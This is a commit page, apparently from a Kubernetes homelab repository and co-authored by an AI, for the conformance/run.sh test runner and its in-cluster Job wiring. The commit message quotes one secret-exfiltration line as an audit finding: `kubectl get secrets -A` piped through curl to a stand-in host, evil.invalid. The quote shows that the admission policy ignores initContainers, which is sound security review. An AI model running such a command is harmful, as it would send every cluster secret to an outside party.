jakman85andClaude Opus 5
6ef4def2b5
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
661 lines
34 KiB
Bash
Executable File
661 lines
34 KiB
Bash
Executable File
#!/usr/bin/env bash
|
||
###############################################################################
|
||
# conformance/run.sh — the single-command conformance runner (R-TEST-02/03/04)
|
||
#
|
||
# ONE command runs the suite (or a requirement-/layer-scoped subset) and always
|
||
# emits JUnit + a requirement-coverage report. Local runs and the in-cluster CI
|
||
# Chainsaw Job invoke this same script so results are identical (reproducibility).
|
||
#
|
||
# ./run.sh # full suite; skips L1/L2/L3 if no cluster
|
||
# ./run.sh --requirements R-NET-01,R-NET-06 # merge-gate subset (tagged)
|
||
# ./run.sh --layer l2 # one layer (l0|l1|l2|l3|meta|all; l0/l1 need no cluster)
|
||
# ./run.sh --requirements R-NET-01,R-NET-02 --layer l2 # intersect: tagged AND in layer
|
||
# ./run.sh --layer l0 --requirements R-X --include-scope whole-repo
|
||
# # UNION: the tagged subset PLUS every test that
|
||
# # DECLARES `conformance.home.k3s/scope: whole-repo`.
|
||
# # A whole-repo invariant must run on EVERY gate
|
||
# # invocation — see lib/common.sh's scope block for
|
||
# # why, and why a SKIP of one is exit 3, not green.
|
||
# ./run.sh --coverage-only # regenerate coverage report only (no cluster)
|
||
# ./run.sh --status # DERIVED STATUS report only (no cluster): per
|
||
# # requirement, is it implemented, is it actually
|
||
# # reconciled by Flux, is its test executable or a
|
||
# # scaffold, and whether the committed run ledger
|
||
# # (runs/ledger.jsonl) actually proves it — see
|
||
# # lib/status.py. No ledger row => not-derivable.
|
||
# ./run.sh --lint # structural-validate test defs (no cluster)
|
||
# ./run.sh --print-selection # print the test dirs the CURRENT selection resolves
|
||
# # to, one per line, and exit. Runs no check. This is
|
||
# # how a test can PROVE the selection includes it
|
||
# # (tests/l0-static/whole-repo-invariants-wired) without
|
||
# # executing the suite and recursing into itself.
|
||
# ./run.sh --strict-coverage # hygiene gate: fail on tag/annotation drift
|
||
# ./run.sh --requirements R-NET-01 # ALSO asserts those IDs are covered (merge gate)
|
||
# ./run.sh --require-all # phase-exit: every requirement must be covered
|
||
# ./run.sh --record # RUN AND CAPTURE: tee the whole run to
|
||
# # runs/<UTC>-<short-sha>/run.log, copy the JUnit
|
||
# # beside it, and append one ledger row per
|
||
# # testcase to runs/ledger.jsonl (lib/record_run.py)
|
||
#
|
||
# --record — PROOF-OF-PASS, CAPTURED AT RUN TIME (why it is a separate flag)
|
||
# --------------------------------------------------------------------------
|
||
# Without it, nothing about a green run ever reaches repo state: _artifacts/ is gitignored
|
||
# and the root .gitignore kills *.junit.xml globally, which is why `--status` reports
|
||
# PROVEN 0 for all 51 requirements. `--record` writes the one tracked thing that fixes
|
||
# that — `conformance/runs/` (see conformance/.gitignore for the negations).
|
||
#
|
||
# RECORDING IS DELIBERATELY EXPLICIT. A run that silently records itself is how a bad run
|
||
# becomes a permanent false proof, so the plain `./run.sh` writes no ledger row at all.
|
||
#
|
||
# BOTH FILES ARE KEPT, and the LOG is the load-bearing one. The L2/L3 tests self-skip
|
||
# GREEN: when a precondition is missing they echo e.g. `DR_RESTORE_SKIPPED_OK` and exit 0,
|
||
# and Chainsaw records `passed` exactly as on a real run. Chainsaw's JUnit carries no
|
||
# stdout, so the sentinel token in run.log is the ONLY thing that separates proven from
|
||
# skipped. A JUnit committed on its own would record a skip as proof of R-STATE-03.
|
||
#
|
||
# Artifacts (always written under conformance/_artifacts/, gitignored):
|
||
# _artifacts/report.junit.xml JUnit (Chainsaw output, or skipped-scaffold shim)
|
||
# _artifacts/coverage/coverage.md human coverage report
|
||
# _artifacts/coverage/coverage.json machine coverage report
|
||
# _artifacts/status/status.md human requirement-status report (--status)
|
||
# _artifacts/status/status.json machine requirement-status report (--status)
|
||
#
|
||
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
|
||
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
|
||
# conformance/_artifacts (the Job mounts a `results`
|
||
# volume, which cannot sit inside the git-clone target).
|
||
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
|
||
# checksummed base64 tar of the artifact tree to STDOUT,
|
||
# because `kubectl logs` is the only channel CI has out of
|
||
# the Job (no pods/exec, no kubectl cp). See the RESULTS
|
||
# TRANSPORT block below for the envelope and for the five
|
||
# checks a collector MUST make. Never set this locally.
|
||
#
|
||
# Run ledger (TRACKED — commit these; --record only):
|
||
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
|
||
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
|
||
# runs/ledger.jsonl append-only, one row per testcase per run
|
||
#
|
||
# Phase 0: no cluster exists. The behavior tests are valid scaffolds that cannot
|
||
# execute yet, so run.sh emits a *skipped* JUnit and a coverage report, and exits
|
||
# green — the harness is proven reproducible while later phases fill in behavior.
|
||
###############################################################################
|
||
set -euo pipefail
|
||
|
||
CONF_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||
export CONF_ROOT
|
||
# shellcheck source=lib/common.sh
|
||
source "${CONF_ROOT}/lib/common.sh"
|
||
# shellcheck source=versions.env
|
||
source "${CONF_ROOT}/versions.env"
|
||
|
||
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
|
||
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
|
||
# path, because that path is inside the directory the init container `git clone`s into and
|
||
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
|
||
# a local run is byte-identical to what it always was.
|
||
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
|
||
COVERAGE_OUT="${ARTIFACTS}/coverage"
|
||
STATUS_OUT="${ARTIFACTS}/status"
|
||
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
|
||
PYTHON="${PYTHON:-python3}"
|
||
|
||
# Every argument as given, so `--record` can re-exec this script unchanged (minus itself)
|
||
# under `tee`. Captured BEFORE parsing so nothing is normalized away.
|
||
ORIG_ARGS=("$@")
|
||
|
||
LAYER="all"
|
||
REQS=""
|
||
INCLUDE_SCOPES="" # --include-scope: scopes unioned into the selection (see lib/common.sh)
|
||
MODE="run" # run | coverage-only | status | lint
|
||
STRICT_COVERAGE=0
|
||
REQUIRE_ALL=0
|
||
FORCE_NO_CLUSTER=0
|
||
RECORD=0
|
||
|
||
# Documented, out-of-scope coverage gaps exempt from the completeness gate: requirements
|
||
# owned by another workstream that WS-TEST does not yet scaffold. Listed here so the
|
||
# exemption is explicit and reviewable, not silent.
|
||
#
|
||
# EMPTY as of 2026-09-01. R-ENV-02 and R-GITOPS-01 were the last two entries — exempted
|
||
# because they were unscaffolded while the coarse path->requirement map keys clusters/*
|
||
# and ci/* to them, so any overlay/CI edit would have false-blocked. They now have a real
|
||
# verifying L0 test (tests/l0-static/flux-postbuild-substitution), which asserts the
|
||
# substitution mechanism that IS the "authored once, promoted" contract, so they are
|
||
# covered rather than exempt and the completeness gate can hold them to it. That test
|
||
# names its own limits in its header: it proves the STATIC property (no manifest renders
|
||
# an undefined variable), not the live-cluster half of either requirement.
|
||
#
|
||
# FOLLOW-UP (WS-TEST) — HALF DONE. The debt was "make the matcher stop keying on doc-header
|
||
# tokens so real requirements need not be exempted". The CONTENT-SCAN half is now fixed in
|
||
# ci/touched-requirements.sh: it scans the added/removed lines of the diff, and skips *.md, so
|
||
# a requirement named in a header or in prose no longer counts as a declaration. Consequence
|
||
# to be aware of: a manifest whose HEADER declares the requirements it serves no longer
|
||
# contributes those IDs unless the change actually touches a line carrying them — the
|
||
# authoritative signal is the `conformance.home.k3s/R-*` label on a test, which still is.
|
||
# The PATH-MAP half remains: ci/touched-requirements.sh keys clusters/* and ci/* to
|
||
# R-ENV-02 + R-GITOPS-01 wholesale, which is why those two must stay exempted here. Tighten
|
||
# the path map (or scaffold the two requirements) and this list empties.
|
||
#
|
||
# R-STATE-02 (node-loss) WAS listed here (owned by WS-STORAGE, "delivered with Longhorn/infra")
|
||
# but now has a real verifying L3 test — tests/l3-fault-injection/node-loss — so it is no
|
||
# longer a gap and has been removed from this list; the coverage report counts it as covered.
|
||
DOCUMENTED_GAPS=""
|
||
|
||
# Print the header block (line 2 through the closing `####` rule, which is dropped) as
|
||
# help. Bounded by the rule rather than a fixed line number so the header can grow.
|
||
usage() { sed -n '2,/^#####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; }
|
||
|
||
while [ $# -gt 0 ]; do
|
||
case "$1" in
|
||
--layer) LAYER="$2"; shift 2 ;;
|
||
--requirements) REQS="$(conf_normalize_reqs "$2")"; shift 2 ;;
|
||
--include-scope) INCLUDE_SCOPES="${INCLUDE_SCOPES:+${INCLUDE_SCOPES},}$2"; shift 2 ;;
|
||
--coverage-only) MODE="coverage-only"; shift ;;
|
||
--status) MODE="status"; shift ;;
|
||
--lint) MODE="lint"; shift ;;
|
||
--print-selection) MODE="print-selection"; shift ;;
|
||
--strict-coverage) STRICT_COVERAGE=1; shift ;;
|
||
--require-all) REQUIRE_ALL=1; shift ;;
|
||
--no-cluster) FORCE_NO_CLUSTER=1; shift ;;
|
||
--record) RECORD=1; shift ;;
|
||
-h|--help) usage; exit 0 ;;
|
||
*) echo "unknown arg: $1" >&2; usage; exit 2 ;;
|
||
esac
|
||
done
|
||
|
||
mkdir -p "${ARTIFACTS}" "${COVERAGE_OUT}" "${STATUS_OUT}"
|
||
|
||
log() { printf '\033[1m[run.sh]\033[0m %s\n' "$*"; }
|
||
|
||
###############################################################################
|
||
# --record: capture this run as committed evidence, then hand it to the ledger.
|
||
#
|
||
# Implemented as a ONE-LEVEL re-exec of this same script under `tee`, so the run itself is
|
||
# byte-for-byte the ordinary run (same code path, same artifacts) and the log is the exact
|
||
# operator-visible output — no second, differently-behaving "recording mode" to drift.
|
||
# CONF_RECORD_CHILD guards against recursion.
|
||
#
|
||
# The recorder runs REGARDLESS of the run's exit status: a red run must be recorded as red
|
||
# (that is evidence too), and run.sh still exits with the child's real rc, so no gate is
|
||
# softened by recording. `${PIPESTATUS[0]}` is what carries that rc past `tee`.
|
||
###############################################################################
|
||
if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
|
||
case "${MODE}" in
|
||
run) ;;
|
||
# --record is about EVIDENCE OF A RUN. --coverage-only/--status/--lint execute no
|
||
# test, so a ledger row from one of them would be a row about nothing.
|
||
*) echo "--record captures a TEST RUN; --${MODE} executes none." >&2; exit 2 ;;
|
||
esac
|
||
RUN_SHA="$(git -C "${CONF_ROOT}" rev-parse --short HEAD 2>/dev/null || echo nogit)"
|
||
RUN_ID="$(date -u +%Y%m%dT%H%M%SZ)-${RUN_SHA}"
|
||
RUN_DIR="${CONF_ROOT}/runs/${RUN_ID}"
|
||
mkdir -p "${RUN_DIR}"
|
||
# Drop any JUnit left behind by a PREVIOUS run before starting, so this run dir can only
|
||
# ever capture a report THIS run produced. Copying a stale artifact would pair someone
|
||
# else's result with this run's log — a fabricated pairing, which is precisely the class
|
||
# of false proof the ledger exists to prevent.
|
||
rm -f "${JUNIT_OUT}"
|
||
# Strip --record from the argv handed to the child; everything else passes through.
|
||
CHILD_ARGS=()
|
||
for a in ${ORIG_ARGS[@]+"${ORIG_ARGS[@]}"}; do
|
||
[ "$a" = "--record" ] || CHILD_ARGS+=("$a")
|
||
done
|
||
log "RECORD: capturing this run to runs/${RUN_ID}/ (run.log + report.junit.xml)"
|
||
set +e
|
||
CONF_RECORD_CHILD=1 "${BASH_SOURCE[0]}" ${CHILD_ARGS[@]+"${CHILD_ARGS[@]}"} 2>&1 \
|
||
| tee "${RUN_DIR}/run.log"
|
||
RUN_RC=${PIPESTATUS[0]}
|
||
set -e
|
||
if [ -f "${JUNIT_OUT}" ]; then
|
||
cp "${JUNIT_OUT}" "${RUN_DIR}/report.junit.xml"
|
||
else
|
||
log "RECORD: no ${JUNIT_OUT} was produced — the ledger step will SKIP (never green)."
|
||
fi
|
||
# Explicit, separate step: read the JUnit + the log and append one row per testcase.
|
||
# rc 3 = inputs absent (nothing recorded, not green); it must not mask the run's own rc.
|
||
# CONF_LEDGER exists so the harness's own tests can exercise this path without writing
|
||
# to the real ledger; operators should never set it.
|
||
"${PYTHON}" "${CONF_ROOT}/lib/record_run.py" \
|
||
--run-dir "${RUN_DIR}" ${CONF_ENV:+--env "$CONF_ENV"} \
|
||
--ledger "${CONF_LEDGER:-${CONF_ROOT}/runs/ledger.jsonl}" || true
|
||
log "RECORD: run rc=${RUN_RC}. Commit conformance/runs/${RUN_ID}/ WITH its run.log and"
|
||
log "RECORD: conformance/runs/ledger.jsonl — an uncommitted ledger proves nothing."
|
||
exit "${RUN_RC}"
|
||
fi
|
||
|
||
###############################################################################
|
||
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
|
||
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
|
||
#
|
||
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
|
||
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
|
||
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
|
||
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
|
||
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
|
||
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
|
||
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
|
||
# ships its JUnit — the red report is the evidence the gate needs most.
|
||
#
|
||
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
|
||
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
|
||
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
|
||
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
|
||
# needed to PROVE completeness, and carries it TWICE:
|
||
#
|
||
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||
# <base64 of the .tgz, wrapped at 76 columns>
|
||
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||
#
|
||
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
|
||
# never as "no artifacts", never as a pass:
|
||
# 1. exactly one BEGIN line and exactly one END line;
|
||
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
|
||
# means two interleaved or re-emitted envelopes in one log;
|
||
# 3. the count of body lines between them equals lines=;
|
||
# 4. the decoded byte count equals bytes=;
|
||
# 5. sha256 of the decoded bytes equals sha256=.
|
||
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
|
||
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
|
||
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
|
||
# which is the whole design requirement.
|
||
#
|
||
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
|
||
# against the Job's completion condition instead of trusting either signal alone.
|
||
#
|
||
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
|
||
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
|
||
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
|
||
# entry changed with the environment would be a trap for the collector. It unpacks the
|
||
# contents wherever it likes.
|
||
#
|
||
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
|
||
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
|
||
###############################################################################
|
||
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
|
||
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
|
||
|
||
conf_emit_artifacts_tgz() {
|
||
local rc="${1:-0}"
|
||
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
|
||
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
|
||
# change the run's verdict — nothing here can turn a red run green or a green run red.
|
||
trap - EXIT
|
||
(
|
||
set +e
|
||
local tmp tgz b64 bytes lines sha payload
|
||
tmp="${TMPDIR:-/tmp}"
|
||
tgz="${tmp}/conformance-artifacts.$$.tgz"
|
||
b64="${tgz}.b64"
|
||
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
|
||
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
|
||
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
|
||
rm -f "${tgz}"
|
||
exit 0
|
||
fi
|
||
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
|
||
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
|
||
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
|
||
rm -f "${tgz}" "${b64}"
|
||
exit 0
|
||
fi
|
||
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
|
||
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
|
||
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
|
||
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
|
||
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||
cat "${b64}"
|
||
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||
rm -f "${tgz}" "${b64}"
|
||
exit 0
|
||
)
|
||
exit "${rc}"
|
||
}
|
||
|
||
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
|
||
# emits a second envelope into its child's tee'd log.
|
||
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
|
||
trap 'conf_emit_artifacts_tgz "$?"' EXIT
|
||
fi
|
||
|
||
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
|
||
gen_coverage() {
|
||
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
|
||
# requirement is exempt, and handing the flag an empty string would be a silent no-op
|
||
# that reads like an exemption in the CLI log.
|
||
local flags=()
|
||
[ -n "${DOCUMENTED_GAPS}" ] && flags+=(--allow-gap "${DOCUMENTED_GAPS}")
|
||
[ "${STRICT_COVERAGE}" = 1 ] && flags+=(--strict)
|
||
# A tagged subset run is also the merge gate: the touched requirements MUST be covered.
|
||
[ -n "${REQS}" ] && flags+=(--require "${REQS}")
|
||
[ "${REQUIRE_ALL}" = 1 ] && flags+=(--require-all)
|
||
"${PYTHON}" "${CONF_ROOT}/lib/coverage.py" \
|
||
--registry "${CONF_ROOT}/requirements/registry.yaml" \
|
||
--tests "${CONF_ROOT}/tests" \
|
||
--out "${COVERAGE_OUT}" \
|
||
"${flags[@]}"
|
||
}
|
||
|
||
# --- Derived STATUS report (no cluster) ------------------------------------------------
|
||
# Coverage answers "does a tagged test EXIST?". Status answers the operator's question —
|
||
# "what is the real state of each requirement given what is actually in the repo?" — by
|
||
# deriving, per requirement: implementing artifact? reachable from a Flux Kustomization
|
||
# (reconciled, not merely authored)? tagged test that is EXECUTABLE rather than a TODO
|
||
# scaffold? It REFUSES to derive whether a test passed: nothing tracked in git records a
|
||
# run result, and a status report that defaults to green is worse than none.
|
||
gen_status() {
|
||
"${PYTHON}" "${CONF_ROOT}/lib/status.py" \
|
||
--repo "$(cd "${CONF_ROOT}/.." && pwd)" \
|
||
--registry "${CONF_ROOT}/requirements/registry.yaml" \
|
||
--tests "${CONF_ROOT}/tests" \
|
||
--out "${STATUS_OUT}" \
|
||
${CONF_ENV:+--env "$CONF_ENV"} \
|
||
"$@"
|
||
}
|
||
|
||
# --- Structural lint (no cluster): parse each test def and check the tag convention ----
|
||
lint_tests() {
|
||
log "Linting test definitions (structural, no cluster)"
|
||
local rc=0 f
|
||
if command -v chainsaw >/dev/null 2>&1; then
|
||
# Prefer chainsaw's own linter when the pinned binary is available.
|
||
while IFS= read -r f; do
|
||
chainsaw lint test --file "$f" >/dev/null || { echo "LINT FAIL: $f" >&2; rc=1; }
|
||
done < <(conf_all_test_files)
|
||
else
|
||
log "chainsaw not on PATH; falling back to structural check"
|
||
# Minimal YAML-shape check: kind Test + at least one requirement label per file.
|
||
while IFS= read -r f; do
|
||
grep -Eq '^kind:\s*Test' "$f" || { echo "LINT FAIL (no kind: Test): $f" >&2; rc=1; }
|
||
grep -Eq "^[[:space:]]*${CONF_LABEL_PREFIX}/R-[A-Z0-9]+-[0-9]+:" "$f" \
|
||
|| { echo "LINT FAIL (no requirement label): $f" >&2; rc=1; }
|
||
done < <(conf_all_test_files)
|
||
fi
|
||
return $rc
|
||
}
|
||
|
||
# --- Select which test directories Chainsaw should run --------------------------------
|
||
# Requirement-scoped selection, then the DECLARED-SCOPE union on top:
|
||
#
|
||
# (--requirements ∩ --layer) ∪ (--include-scope ∩ --layer)
|
||
#
|
||
# The left half is R-TEST-03's touched subset. The right half is the fix for its blind
|
||
# spot: an invariant that quantifies over the whole tracked tree cannot be selected BY the
|
||
# requirements a change touches, because the change most likely to break it touches none of
|
||
# them. See lib/common.sh's scope block for the incidents. The union is fail-closed by
|
||
# construction — it can only ADD tests to a run, never remove one.
|
||
select_dirs() {
|
||
{
|
||
requirement_scoped_dirs
|
||
# The scope union is still LAYER-bounded: `--layer l0` must not pull a whole-repo-scoped
|
||
# L2 test into an offline run. With no --layer (all), nothing is bounded away.
|
||
if [ -n "${INCLUDE_SCOPES}" ]; then
|
||
if [ "${LAYER}" != all ]; then
|
||
comm -12 \
|
||
<(conf_dirs_for_scopes "${INCLUDE_SCOPES}") \
|
||
<(conf_dirs_for_layer "${LAYER}")
|
||
else
|
||
conf_dirs_for_scopes "${INCLUDE_SCOPES}"
|
||
fi
|
||
fi
|
||
} | sort -u
|
||
}
|
||
|
||
# The pre-existing requirement/layer selection, unchanged:
|
||
# --requirements AND --layer together => intersection (tests carrying the tag
|
||
# AND living in that layer subtree). Either alone keeps its prior meaning, so
|
||
# this is backward compatible (LAYER defaults to "all"). Both helpers emit
|
||
# sorted, de-duplicated dirs, so `comm -12` yields the intersection.
|
||
requirement_scoped_dirs() {
|
||
if [ -n "${REQS}" ] && [ "${LAYER}" != all ]; then
|
||
comm -12 \
|
||
<(conf_dirs_for_requirements "${REQS}") \
|
||
<(conf_dirs_for_layer "${LAYER}")
|
||
elif [ -n "${REQS}" ]; then
|
||
conf_dirs_for_requirements "${REQS}"
|
||
else
|
||
conf_dirs_for_layer "${LAYER}"
|
||
fi
|
||
}
|
||
|
||
# --- HEAVY tests: the storage/VM/DR tests whose KubeVirt-CDI imports + Longhorn volume ops
|
||
# spike embedded-etcd I/O on the small dev VMs. Run SERIALLY (parallel=1) in their own
|
||
# pass so their etcd spikes never coincide with ANOTHER test's setup — the coincidence
|
||
# that made a single heavy test's apiserver blip fail-close Kyverno admission and abort
|
||
# every in-flight test's 0.01s setup (see config/chainsaw-config.yaml). Keyed by the test
|
||
# DIRECTORY basename (stable); override via CONF_HEAVY_TESTS to add/remove without code
|
||
# changes. Listed here even for tests still scaffolded (vm-lifecycle, dr-restore, ...) so
|
||
# the serialization is already correct the moment they grow real KubeVirt/Longhorn bodies.
|
||
CONF_HEAVY_TESTS="${CONF_HEAVY_TESTS:-vm-lifecycle vm-data-survival vm-default-deny data-survival dr-restore node-loss}"
|
||
|
||
conf_is_heavy_dir() {
|
||
# $1 = test dir; true if its basename is in the heavy set.
|
||
local base t
|
||
base="$(basename "$1")"
|
||
for t in ${CONF_HEAVY_TESTS}; do [ "$base" = "$t" ] && return 0; done
|
||
return 1
|
||
}
|
||
|
||
# One Chainsaw invocation over a specific set of dirs, at a given parallelism, writing to a
|
||
# named report file. Returns chainsaw's rc (0=all passed) WITHOUT aborting run.sh (callers
|
||
# collect both passes' rc so a light-pass failure still lets the heavy pass run, and vice
|
||
# versa). failFast stays false (config) so every test in the pass runs regardless.
|
||
run_chainsaw_pass() {
|
||
local report_name="$1" parallel="$2"; shift 2
|
||
local -a dirs=("$@")
|
||
local -a test_dir_args=()
|
||
local d
|
||
for d in "${dirs[@]}"; do test_dir_args+=(--test-dir "$d"); done
|
||
# Chainsaw writes JUnit per config/chainsaw-config.yaml (report.* under _artifacts).
|
||
# --report-path is passed ABSOLUTE (overriding the config's relative `_artifacts`) so the
|
||
# report write succeeds regardless of the caller's CWD. --report-name/--parallel override
|
||
# the config per-pass so the two passes don't clobber each other's report and the heavy
|
||
# pass forces serial execution.
|
||
local rc=0
|
||
chainsaw test \
|
||
--config "${CONF_ROOT}/config/chainsaw-config.yaml" \
|
||
--report-path "${ARTIFACTS}" \
|
||
--report-name "${report_name}" \
|
||
--parallel "${parallel}" \
|
||
"${test_dir_args[@]}" || rc=$?
|
||
return $rc
|
||
}
|
||
|
||
# --- Execute the Chainsaw suite against a live cluster ---------------------------------
|
||
# Split into a LIGHT pass (concurrent, config parallelism) and a HEAVY pass (serial,
|
||
# parallel=1). Robust single-pass green: the heavy etcd spikes are isolated in time from the
|
||
# light tests' setup, so a heavy test's transient apiserver blip can no longer cascade into
|
||
# mass fail-closed setup-aborts of unrelated tests. The two JUnit reports are stitched back
|
||
# into the one stable artifact CI collects (report.junit.xml) via lib/merge_junit.py, so the
|
||
# split is invisible to everything downstream.
|
||
run_chainsaw() {
|
||
local -a dirs
|
||
mapfile -t dirs < <(select_dirs)
|
||
if [ "${#dirs[@]}" -eq 0 ]; then
|
||
log "No tests match the selection (layer=${LAYER} reqs='${REQS}')."
|
||
return 0
|
||
fi
|
||
|
||
local -a light=() heavy=()
|
||
local d
|
||
for d in "${dirs[@]}"; do
|
||
if conf_is_heavy_dir "$d"; then heavy+=("$d"); else light+=("$d"); fi
|
||
done
|
||
|
||
mkdir -p "${ARTIFACTS}"
|
||
local light_report="${ARTIFACTS}/chainsaw-report-light.xml"
|
||
local heavy_report="${ARTIFACTS}/chainsaw-report-heavy.xml"
|
||
rm -f "${light_report}" "${heavy_report}"
|
||
local light_rc=0 heavy_rc=0
|
||
|
||
# Determine the light pass's parallelism from the shared config (single source of truth),
|
||
# falling back to 2 if unreadable — so bumping the config on prod-class hw needs no run.sh edit.
|
||
local light_parallel
|
||
light_parallel="$(sed -nE 's/^[[:space:]]*parallel:[[:space:]]*([0-9]+).*/\1/p' \
|
||
